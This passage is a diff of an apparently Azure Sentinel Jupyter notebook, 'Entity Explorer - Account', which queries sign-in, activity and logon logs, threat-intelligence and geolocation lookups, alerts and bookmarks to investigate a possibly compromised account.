data\n", - "aad_sum_qry = \"\"\"\n", - "| extend UserPrincipalName=tolower(UserPrincipalName)\n", - "| project-rename Operation=OperationName, AppResourceProvider=AppDisplayName\"\"\"\n", - "aad_signin_df = (qry_prov.Azure\n", - " .list_aad_signins_for_account(**acct_query_params(),\n", - " add_query_items=aad_sum_qry)\n", - " )\n", - "\n", - "az_sum_qry = \"\"\"\n", - "| extend UserPrincipalName=tolower(Caller)\n", - "| project-rename IPAddress=CallerIpAddress, Operation=OperationName,\n", - " AppResourceProvider=ResourceProvider\"\"\"\n", - "azure_activity_df = (qry_prov.Azure\n", - " .list_azure_activity_for_account(**acct_query_params(),\n", - " add_query_items=az_sum_qry)\n", - " )\n", - "\n", - "o365_sum_qry = \"\"\"\n", - "| extend UserPrincipalName=tolower(UserId)\n", - "| project-rename IPAddress=ClientIP, ResourceId=OfficeObjectId,\n", - " AppResourceProvider=OfficeWorkload\"\"\"\n", - "o365_activity_df = (qry_prov.Office365\n", - " .list_activity_for_account(**acct_query_params(),\n", - " add_query_items=o365_sum_qry)\n", - " )\n", - "md(\"done\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Azure/Office Summary" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "az_all_data = pd.concat([aad_signin_df, azure_activity_df, o365_activity_df], sort=False)\n", - "\n", - "nbdisplay.display_timeline(data=az_all_data,\n", - " group_by=\"AppResourceProvider\",\n", - " source_columns=[\"Operation\", \"IPAddress\", \"AppResourceProvider\"],\n", - " title=\"Azure Signin activity by Provider\")\n", - "nbdisplay.display_timeline(data=az_all_data,\n", - " group_by=\"IPAddress\",\n", - " source_columns=[\"Operation\", \"IPAddress\", \"AppResourceProvider\"],\n", - " title=\"Azure Operations by Source IP\")\n", - "nbdisplay.display_timeline(data=az_all_data,\n", - " group_by=\"Operation\",\n", - " source_columns=[\"Operation\", \"IPAddress\", \"AppResourceProvider\"],\n", - " title=\"Azure Operations by Operation\");" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "(az_all_data\n", - ".groupby([\"UserPrincipalName\", \"Type\", \"IPAddress\", \"AppResourceProvider\", \"UserType\"])\n", - ".agg(\n", - " OperationCount=pd.NamedAgg(column=\"Type\", aggfunc=\"count\"),\n", - " OperationTypes=pd.NamedAgg(column=\"Operation\", aggfunc=lambda x: x.unique().tolist()),\n", - " Resources=pd.NamedAgg(column=\"ResourceId\", aggfunc=\"nunique\"),\n", - " FirstOperation=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", - " LastOperation=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", - " )\n", - ")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Threat Intelligence for IP Addresses\n", - "
\n", - " TI Configuration\n", - "If you have not used msticpy threat intelligence lookups before you will need to supply API keys for the \n", - "TI Providers that you want to use. Please see the section on configuring [msticpyconfig.yaml](#msticpyconfig.yaml-configuration-File)\n", - "\n", - "Then reload provider settings:\n", - "```\n", - "mylookup = TILookup()\n", - "mylookup.reload_provider_settings()\n", - "```\n", - "
" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "ti_results_az, all_az_ti, src_ip_addrs_az = check_ip_ti(df=az_all_data, ip_col=\"IPAddress\")\n", - "\n", - "if not ti_results_az.empty:\n", - " md(f\"{len(ti_results_az)} threat intelligence hits have been \"\n", - " + \"matched on one or more source IP addresses.\", \"bold, red, large\")\n", - " md(\" You should investigate these IP addresses using \"\n", - " + \"the 'Entity Explorer - IP Address' notebook\", \"bold, red\" )\n", - " display(ti_results_az)\n", - "else:\n", - " md(\"No additional items found\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Geolocation and ownership for source IP addresses\n", - "We use the source IP addresses for the activity to perform and Geo-location lookup and a WhoIs lookup to try to identify the IP address owner." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "all_az_geo = check_geo_whois(src_ip_addrs_az.iloc[0:50], az_all_data, \"IPAddress\")\n", - "\n", - "md(\"Geolocations and ASN Owner for source IP addresses. Information only\", \"bold\")\n", - "\n", - "(all_az_geo[~all_az_geo[\"CountryName\"].isna()]\n", - " .groupby([\"UserPrincipalName\", \"IPAddress\", \"CountryCode\",\"CountryName\", \"City\", \"ASNDesc\"])\n", - " .agg(\n", - " TotalOperations=pd.NamedAgg(column=\"SourceSystem\", aggfunc=\"count\"),\n", - " Operations=pd.NamedAgg(column=\"Operation\", aggfunc=lambda x: x.value_counts().to_dict()),\n", - " AppResources=pd.NamedAgg(column=\"AppResourceProvider\", aggfunc=lambda x: x.unique().tolist()),\n", - " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", - " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", - " )\n", - ")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Additional alerts for source IP addresses" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "ip_list = \",\".join(list(src_ip_addrs_az[\"IPAddress\"].unique()))\n", - "related_ip_alerts_df = qry_prov.SecurityAlert.list_alerts_for_ip(\n", - " start=acct_query_params()[\"start\"],\n", - " end=acct_query_params()[\"end\"],\n", - " source_ip_list=ip_list\n", - ")\n", - "# remove Account and host alerts already seen\n", - "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", - " .isin(related_alerts[\"SystemAlertId\"])]\n", - "if not related_ip_alerts_df.empty:\n", - " md(f\"{len(related_ip_alerts_df)} additional alerts have been \"\n", - " + \"triggered from one or more source IPs.\", \"bold, red, large\")\n", - " md(\" You should investigate these IPs using \"\n", - " + \"the 'Entity Explorer - IP Address' notebook\", \"bold, red\" )\n", - " display(related_ip_alerts_df)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Appendices" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Available DataFrames" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "print('List of current DataFrames in Notebook')\n", - "print('-' * 50)\n", - "current_vars = list(locals().keys())\n", - "for var_name in current_vars:\n", - " if isinstance(locals()[var_name], pd.DataFrame) and not var_name.startswith('_'):\n", - " print(var_name)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Saving data to Excel\n", - "To save the contents of a pandas DataFrame to an Excel spreadsheet\n", - "use the following syntax\n", - "```\n", - "writer = pd.ExcelWriter('myWorksheet.xlsx')\n", - "my_data_frame.to_excel(writer,'Sheet1')\n", - "writer.save()\n", - "```" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Configuration\n", - "\n", - "### `msticpyconfig.yaml` configuration File\n", - "You can configure primary and secondary TI providers and any required parameters in the `msticpyconfig.yaml` file. This is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", - "\n", - "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" - ] - } - ], - "metadata": { - "celltoolbar": "Attachments", - "hide_input": false, - "kernelspec": { - "display_name": "Python 3.6", - "language": "python", - "name": "python36" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.6.7" - }, - "latex_envs": { - "LaTeX_envs_menu_present": true, - "autoclose": false, - "autocomplete": true, - "bibliofile": "biblio.bib", - "cite_by": "apalike", - "current_citInitial": 1, - "eqLabelWithNumbers": true, - "eqNumInitial": 1, - "hotkeys": { - "equation": "Ctrl-E", - "itemize": "Ctrl-I" - }, - "labels_anchors": false, - "latex_user_defs": false, - "report_style_numbering": false, - "user_envs_cfg": false - }, - "toc": { - "base_numbering": 1, - "nav_menu": {}, - "number_sections": true, - "sideBar": true, - "skip_h1_title": true, - "title_cell": "Contents", - "title_sidebar": "Contents", - "toc_cell": true, - "toc_position": { - "height": "calc(100% - 180px)", - "left": "10px", - "top": "150px", - "width": "512px" - }, - "toc_section_display": true, - "toc_window_display": true - }, - "varInspector": { - "cols": { - "lenName": 16, - "lenType": 16, - "lenVar": 40 - }, - "kernels_config": { - "python": { - "delete_cmd_postfix": "", - "delete_cmd_prefix": "del ", - "library": "var_list.py", - "varRefreshCmd": "print(var_dic_list())" - }, - "r": { - "delete_cmd_postfix": ") ", - "delete_cmd_prefix": "rm(", - "library": "var_list.r", - "varRefreshCmd": "cat(var_dic_list()) " + "cells": [ + { + "cell_type": "markdown", + "source": [ + "# Entity Explorer - Account\n", + "
\n", + "  Details...\n", + "\n", + " **Notebook Version:** 1.0
\n", + " **Python Version:** Python 3.6 (including Python 3.6 - AzureML)
\n", + " **Required Packages**: kqlmagic, msticpy, pandas, numpy, matplotlib, networkx, ipywidgets, ipython, dnspython, ipwhois, folium, maxminddb_geolite2
\n", + " **Platforms Supported**:\n", + " - Azure Notebooks Free Compute\n", + " - Azure Notebooks DSVM\n", + " - OS Independent\n", + "\n", + " **Data Sources Required**:\n", + " - Log Analytics - SecurityAlert, SecurityEvent, HuntingBookmark, Syslog, AAD SigninLogs, AzureActivity, OfficeActivity, ThreatIndicator\n", + " - (Optional) - VirusTotal, AlienVault OTX, IBM XForce, Open Page Rank, (all require accounts and API keys)\n", + "
\n", + "\n", + " Brings together a series of queries and visualizations to help you determine the security state of an Account. The account can be a Windows or Linux account or an Azure Active Directory/Office 365 account.\n", + "\n", + "The Notebook contains sections for reviewing activity for Host accounts (Linux and Windows) and for Azure Active Directory accounts. It also has a general section that looks for related items independent of the account type." + ], + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "

Contents

\n", + "
" + ], + "metadata": { + "toc": true + } + }, + { + "cell_type": "markdown", + "source": [ + "## Hunting Hypothesis\n", + "Our broad initial hunting hypothesis is that a we have received account name entity which is suspected to be compromised and is being used malicious manner in internal networks, we will need to hunt from a range of different positions to validate or disprove this hypothesis." + ], + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "---\n", + "### Notebook initialization\n", + "The next cell:\n", + "- Checks for the correct Python version\n", + "- Checks versions and optionally installs required packages\n", + "- Imports the required packages into the notebook\n", + "- Sets a number of configuration options.\n", + "\n", + "This should complete without errors. If you encounter errors or warnings look at the following two notebooks:\n", + "- [TroubleShootingNotebooks](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/TroubleShootingNotebooks.ipynb)\n", + "- [ConfiguringNotebookEnvironment](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", + "\n", + "If you are running in the Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) you can run live versions of these notebooks:\n", + "- [Run TroubleShootingNotebooks](./TroubleShootingNotebooks.ipynb)\n", + "- [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)\n", + "\n", + "You may also need to do some additional configuration to successfully use functions such as Threat Intelligence service lookup and Geo IP lookup. \n", + "There are more details about this in the `ConfiguringNotebookEnvironment` notebook and in these documents:\n", + "- [msticpy configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)\n", + "- [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file)\n" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "from pathlib import Path\n", + "from IPython.display import display, HTML\n", + "\n", + "REQ_PYTHON_VER = \"3.6\"\n", + "REQ_MSTICPY_VER = \"1.0.0\"\n", + "\n", + "display(HTML(\"

Starting Notebook setup...

\"))\n", + "if Path(\"./utils/nb_check.py\").is_file():\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", + "\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", + "\n", + "from msticpy.nbtools import nbinit\n", + "nbinit.init_notebook(\n", + " namespace=globals(),\n", + " extra_imports=[\"ipwhois, IPWhois\"]\n", + ");" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283278857 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Get Workspace and Authenticate\n", + "
\n", + "  Details...\n", + "If you are using user/device authentication, run the following cell. \n", + "- Click the 'Copy code to clipboard and authenticate' button.\n", + "- This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window). The device code will have been copied to the clipboard. \n", + "- Select the text box and paste (Ctrl-V/Cmd-V) the copied value. \n", + "- You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace.\n", + "\n", + "Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret:\n", + "```\n", + "%kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\n", + "```\n", + "instead of\n", + "```\n", + "%kql loganalytics://code().workspace(WORKSPACE_ID)\n", + "```\n", + "\n", + "Note: you may occasionally see a JavaScript warning displayed at the end of the authentication - you can safely ignore this.
\n", + "On successful authentication you should see a ```popup schema``` button.\n", + "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", + "
" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", + "ws_config = WorkspaceConfig()\n", + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283305919 + } + } + }, + { + "cell_type": "code", + "source": [ + "# Authenticate to Azure Sentinel workspace\r\n", + "qry_prov.connect(ws_config)\r\n", + "table_index = qry_prov.schema_tables" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "collapsed": true, + "jupyter": { + "source_hidden": false, + "outputs_hidden": false + }, + "nteract": { + "transient": { + "deleting": false + } + }, + "gather": { + "logged": 1618283330269 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "#### Authentication and Configuration Problems\n", + "\n", + "
\n", + "
\n", + " Click for details about configuring your authentication parameters\n", + " \n", + " \n", + "The notebook is expecting your Azure Sentinel Tenant ID and Workspace ID to be configured in one of the following places:\n", + "- `config.json` in the current folder\n", + "- `msticpyconfig.yaml` in the current folder or location specified by `MSTICPYCONFIG` environment variable.\n", + " \n", + "For help with setting up your `config.json` file (if this hasn't been done automatically) see the [`ConfiguringNotebookEnvironment`](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb) notebook in the root folder of your Azure-Sentinel-Notebooks project. This shows you how to obtain your Workspace and Subscription IDs from the Azure Sentinel Portal. You can use the SubscriptionID to find your Tenant ID). To view the current `config.json` run the following in a code cell.\n", + "\n", + "```%pfile config.json```\n", + "\n", + "For help with setting up your `msticpyconfig.yaml` see the [Setup](#Setup) section at the end of this notebook and the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", + "
" + ], + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "## Enter account name and query time window\n", + "Type the account name that you want to search for and the time bounds over which you want to search. \n", + "\n", + "You can specify the account as:\n", + "\n", + "- a simple user name (e.g. `alice`)\n", + "- a user principal name (`alice@contoso.com`)\n", + "- a qualified windows user name `mydomain\\alice`\n", + "\n", + "In the second two cases the domain qualifier will be stripped off before the search. The search is not case sensitive and will match full substrings. E.g. `bob` will match `domain\\bob` and `bob@contoso.com` but not `bobg` or `bo`." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "WIDGET_DEFAULTS = {\n", + " \"layout\": widgets.Layout(width=\"95%\"),\n", + " \"style\": {\"description_width\": \"initial\"},\n", + "}\n", + "accountname_text = widgets.Text(description='Enter the Account name to search for:', **WIDGET_DEFAULTS)\n", + "display(accountname_text)" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283340709 + } + } + }, + { + "cell_type": "code", + "source": [ + "query_times = nbwidgets.QueryTime(units='day', max_before=200, before=5, max_after=7)\n", + "query_times.display()" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283350809 + } + } + }, + { + "cell_type": "code", + "source": [ + "# Set up function to allow easy reference to common parameters for queries\n", + "def acct_query_params():\n", + " return {\n", + " \"start\": query_times.start,\n", + " \"end\": query_times.end,\n", + " \"account_name\": accountname_text.value,\n", + " }" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283358110 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "## Data Sources available to query\n", + "This shows all of the tables in the workspace with a string matching the account name entered.\n", + "Note that these matches may be accidental and not necessarily relate to the account that you are interested in.\n", + "\n", + "> **Note**: \"search\" queries can be long-running and resource intensive. Feel free to skip this" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "# KQL query for full text search of IP address and display all datatypes \n", + "datasource_status = '''\n", + "search \\'{account_name}\\'\n", + "| where TimeGenerated >= datetime({start}) and TimeGenerated <= datetime({end})\n", + "| summarize RowCount=count() by Table=$table\n", + "'''.format(**acct_query_params())\n", + "datasource_status_df = qry_prov.exec_query(datasource_status)\n", + "\n", + "#Display result as transposed matrix of datatypes availabel to query for the query period \n", + "if len(datasource_status_df) > 0:\n", + " display(Markdown(\"### \"\n", + " + \"Datasources available to query for Account \"\n", + " + f\"*{acct_query_params()['account_name']}* \"))\n", + " display(datasource_status_df)\n", + "else:\n", + " display(Markdown(f'### No datasources available to query for the query period '))" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283379834 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "## Search for Account Name in Host, Azure Active Directory (AAD), Azure and Office 365 Data.\n", + "\n", + "This section searches for activity related to the account name entered earlier. It looks for the most recent activity in the following sources:\n", + "- Azure Active Directory Signin logs\n", + "- Azure Activity log\n", + "- Office Activity log\n", + "- Windows Security events for logon and logon failure\n", + "- Linux Security events for logons\n", + "\n", + "### Query Data Sources" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "pd.set_option(\"display.html.table_schema\", False)\n", + "\n", + "# AAD\n", + "md(\"Searching for AAD activity...\")\n", + "summarize_clause = \"\"\"\n", + "| summarize arg_max(TimeGenerated, *) by UserPrincipalName, OperationName, \n", + " Identity, IPAddress, tostring(LocationDetails)\n", + "| project TimeGenerated, UserPrincipalName, Identity, IPAddress, LocationDetails\"\"\"\n", + "\n", + "aad_signin_df = (qry_prov.Azure\n", + " .list_aad_signins_for_account(**acct_query_params(),\n", + " add_query_items=summarize_clause)\n", + " )\n", + "\n", + "md(\"Searching for Azure activity...\")\n", + "# Azure Activity\n", + "summarize_clause = \"\"\"\n", + "| summarize arg_max(TimeGenerated, *) by Caller, OperationName, \n", + " CallerIpAddress, ResourceId\n", + "| project TimeGenerated, UserPrincipalName=Caller, IPAddress=CallerIpAddress\"\"\"\n", + "\n", + "azure_activity_df = (qry_prov.Azure\n", + " .list_azure_activity_for_account(**acct_query_params(),\n", + " add_query_items=summarize_clause)\n", + " )\n", + "\n", + "md(\"Searching for Office365 activity...\")\n", + "# Office Activity\n", + "summarize_clause = \"\"\"\n", + "| project TimeGenerated, UserId = tolower(UserId), OfficeWorkload, Operation, ClientIP, UserType\n", + "| summarize arg_max(TimeGenerated, *) by UserId, OfficeWorkload, ClientIP\n", + "| order by TimeGenerated desc\"\"\"\n", + "\n", + "o365_activity_df = (qry_prov.Office365\n", + " .list_activity_for_account(**acct_query_params(),\n", + " add_query_items=summarize_clause)\n", + " )\n", + "\n", + "md(\"Searching for Windows logon activity...\")\n", + "# Windows Host\n", + "summarize_clause = \"\"\"\n", + "| extend LogonStatus = iff(EventID == 4624, \"success\", \"failed\")\n", + "| project TimeGenerated, TargetUserName, TargetDomainName, Computer, LogonType, SubjectUserName, \n", + " SubjectDomainName, TargetUserSid, EventID, IpAddress, LogonStatus \n", + "| summarize arg_max(TimeGenerated, *) by TargetUserName, TargetDomainName, LogonType, Computer, LogonStatus\"\"\"\n", + "\n", + "win_logon_df = (qry_prov.WindowsSecurity\n", + " .list_logon_attempts_by_account(**acct_query_params(),\n", + " add_query_items=summarize_clause)\n", + " )\n", + "\n", + "md(\"Searching for Linux logon activity...\")\n", + "# Linux host\n", + "summarize_clause = \"\"\"\n", + "| summarize arg_max(TimeGenerated, *) by LogonType, SourceIP, Computer, LogonResult\"\"\"\n", + "\n", + "linux_logon_df = (qry_prov.LinuxSyslog\n", + " .list_logons_for_account(**acct_query_params(),\n", + " add_query_items=summarize_clause)\n", + " )\n", + "\n", + "rec_count = (\n", + " len(aad_signin_df) + len(azure_activity_df) \n", + " + len(o365_activity_df) + len(win_logon_df) \n", + " + len(linux_logon_df)\n", + ")\n", + "md(f\"Found {rec_count} records...\")\n", + "md(f\" {len(aad_signin_df)} records in AAD\")\n", + "md(f\" {len(azure_activity_df)} records in Azure Activity\")\n", + "md(f\" {len(o365_activity_df)} records in Office Activity\")\n", + "md(f\" {len(win_logon_df)} records in Windows logon data\")\n", + "md(f\" {len(linux_logon_df)} records in Linux logon data\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283458114 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "## Display logons from account sources and choose an account to explore\n", + "If any records were found in the previous search these will be displayed in a selection list. You can filter this list to reduce the number of items shown. Unique combinations of Account name and activity source are displayed in this list. So yo may see the same account listed against multiple activity types. E.g. an entry for alex@xyz.com for Office O365Activity and alex@xyz.com for AADLogon.\n", + "\n", + "As you select each account, the records from the previous search are displayed.\n", + "\n", + "Following this selection list there is a general section (applicable to accounts from all sources) and sections that are specific to account in specific domains (Linux, Windows or Azure/Office).\n", + "\n", + "Choosing an account affects which later parts of the notebook are applicable. For example if the account chosen is from a Linux logon, only the Linux section will be applicable but Windows and AAD/Office will not. If you have multiple accounts listed you can come back and chose a different account and re-run the later parts of the notebook on each account.\n" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "from collections import namedtuple\n", + "AccountDFs = namedtuple(\"AccountDFs\", [\"linux\", \"windows\", \"aad\", \"azure\", \"o365\"])\n", + "account_dfs = AccountDFs(\n", + " linux=linux_logon_df,\n", + " windows=win_logon_df,\n", + " aad=aad_signin_df,\n", + " azure=azure_activity_df,\n", + " o365=o365_activity_df,\n", + ")\n", + "\n", + "# Combine into single data frame\n", + "\n", + "lx_df = (linux_logon_df[[\"AccountName\", \"TimeGenerated\"]]\n", + " .groupby(\"AccountName\")\n", + " .max()\n", + " .reset_index()\n", + " .assign(Source=\"LinuxHostLogon\"))\n", + "\n", + "win_df = (win_logon_df[[\"TargetUserName\", \"TimeGenerated\"]]\n", + " .groupby(\"TargetUserName\")\n", + " .max()\n", + " .reset_index()\n", + " .rename(columns={\"TargetUserName\": \"AccountName\"})\n", + " .assign(Source=\"WindowsHostLogon\"))\n", + "\n", + "o365_df = (o365_activity_df[[\"UserId\", \"TimeGenerated\"]]\n", + " .groupby(\"UserId\")\n", + " .max()\n", + " .reset_index()\n", + " .rename(columns={\"UserId\": \"AccountName\"})\n", + " .assign(Source=\"O365Activity\"))\n", + "\n", + "aad_df = (aad_signin_df[[\"UserPrincipalName\", \"TimeGenerated\"]]\n", + " .groupby(\"UserPrincipalName\")\n", + " .max()\n", + " .reset_index()\n", + " .rename(columns={\"UserPrincipalName\": \"AccountName\"})\n", + " .assign(Source=\"AADLogon\"))\n", + "\n", + "azure_df = (azure_activity_df[[\"UserPrincipalName\", \"TimeGenerated\"]]\n", + " .groupby(\"UserPrincipalName\")\n", + " .max()\n", + " .reset_index()\n", + " .rename(columns={\"UserPrincipalName\": \"AccountName\"})\n", + " .assign(Source=\"AzureActivity\"))\n", + "\n", + "\n", + "all_sources_df = pd.concat([lx_df, win_df, o365_df, aad_df, azure_df])\n", + "\n", + "\n", + "# Display the results that we've found\n", + "format_tuple = (lambda x: \n", + " (x.AccountName + \" \" + x.Source\n", + " + \" (Last activity: \" + str(x.TimeGenerated) + \")\",\n", + " x.AccountName + \" \" + x.Source))\n", + "accts_dict = {item[0]: item[1] for item in all_sources_df.apply(format_tuple, axis=1)}\n", + "\n", + "\n", + "def display_activity(selected_item):\n", + " acct, source = selected_account(selected_item)\n", + " outputs = []\n", + " title = HTML(f\"{acct} (source: {source})\")\n", + " outputs.append(title)\n", + " if source == \"LinuxHostLogon\":\n", + " outputs.append(\n", + " linux_logon_df[linux_logon_df[\"AccountName\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", + " if source == \"WindowsHostLogon\":\n", + " outputs.append(\n", + " win_logon_df[win_logon_df[\"TargetUserName\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", + " if source == \"AADLogon\":\n", + " outputs.append(\n", + " aad_signin_df[aad_signin_df[\"UserPrincipalName\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", + " if source == \"AzureActivity\":\n", + " outputs.append(\n", + " azure_activity_df[azure_activity_df[\"UserPrincipalName\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", + " if source == \"O365Activity\":\n", + " outputs.append(\n", + " o365_activity_df[o365_activity_df[\"UserId\"] == acct]\n", + " .sort_values(\"TimeGenerated\", ascending=True)\n", + " )\n", + " return outputs\n", + "\n", + "def selected_account(selected_acct):\n", + " if not selected_acct:\n", + " return \"\", \"\"\n", + " acct, source = selected_acct.split(\" \")\n", + " return acct, source\n", + "\n", + "select_acct = nbwidgets.SelectItem(\n", + " item_dict=accts_dict,\n", + " auto_display=True,\n", + " description=\"Select an account to explore\",\n", + " action=display_activity,\n", + " height=\"200px\",\n", + " width=\"100%\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283464333 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "## Related Alerts and Hunting Bookmarks\n", + "### Alerts\n", + "Any alerts with a matching account name are shown here. Select an alert to view the contents." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "account_name, account_source = selected_account(select_acct.value)\n", + "related_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", + " **acct_query_params()\n", + ")\n", + "\n", + "def print_related_alerts(alertDict, entityType, entityName):\n", + " if len(alertDict) > 0:\n", + " md(f\"Found {len(alertDict)} different alert types related to this {entityType} (`{entityName}`)\",\n", + " \"large, bold\"\n", + " )\n", + " for (k, v) in alertDict.items():\n", + " print(f\"- {k}, # Alerts: {v}\")\n", + " else:\n", + " md(f\"No alerts for {entityType} entity `{entityName}`\")\n", + "\n", + "\n", + "if isinstance(related_alerts, pd.DataFrame) and not related_alerts.empty:\n", + " alert_items = (\n", + " related_alerts[[\"AlertName\", \"TimeGenerated\"]]\n", + " .groupby(\"AlertName\")\n", + " .TimeGenerated.agg(\"count\")\n", + " .to_dict()\n", + " )\n", + " print_related_alerts(alert_items, \"account\", account_name)\n", + " nbdisplay.display_timeline(\n", + " data=related_alerts, title=\"Alerts\", source_columns=[\"AlertName\"], height=200\n", + " )\n", + "else:\n", + " display(Markdown(\"No related alerts found.\"))\n", + "\n", + "def disp_full_alert(alert):\n", + " global related_alert\n", + " related_alert = SecurityAlert(alert)\n", + " return nbdisplay.format_alert(related_alert, show_entities=True)\n", + "\n", + "if related_alerts is not None and not related_alerts.empty:\n", + " related_alerts[\"CompromisedEntity\"] = related_alerts[\"src_accountname\"]\n", + " display(Markdown(\"### Click on alert to view details.\"))\n", + " rel_alert_select = nbwidgets.SelectAlert(\n", + " alerts=related_alerts,\n", + " action=disp_full_alert,\n", + " )\n", + " rel_alert_select.display()" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283996665 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Hunting/Investigation Bookmarks\n", + "Any bookmarks created that reference the selected account are shown here. Select a bookmark to view the contents." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "acct_name = acct_query_params()[\"account_name\"]\n", + "related_bkmark_df = qry_prov.AzureSentinel.list_bookmarks_for_entity(\n", + " **acct_query_params(), entity_id=acct_name\n", + ")\n", + "\n", + "def print_related_bkmk(bookmarks, entityType, entityName):\n", + " if len(bookmarks) > 0:\n", + " md(f\"Found {len(bookmarks)} different bookmarks related to this {entityType} (`{entityName}`)\",\n", + " \"large, bold\"\n", + " )\n", + " else:\n", + " md(f\"No alerts for {entityType} entity `{entityName}`\")\n", + "\n", + "\n", + "if isinstance(related_bkmark_df, pd.DataFrame) and not related_bkmark_df.empty:\n", + " bookmarks = (related_bkmark_df\n", + " .apply(lambda x: (f\"{x.BookmarkName} {x.Tags} {x.TimeGenerated}\", x.BookmarkId),\n", + " axis=1)\n", + " .tolist())\n", + " print_related_bkmk(bookmarks, \"account\", account_name)\n", + " nbdisplay.display_timeline(\n", + " data=related_bkmark_df,\n", + " title=\"Bookmarks\",\n", + " source_columns=[\"BookmarkName\", \"Tags\"], height=200\n", + " )\n", + "else:\n", + " display(Markdown(\"No related bookmarks found.\"))\n", + "\n", + "def disp_bookmark(bookmark_id):\n", + 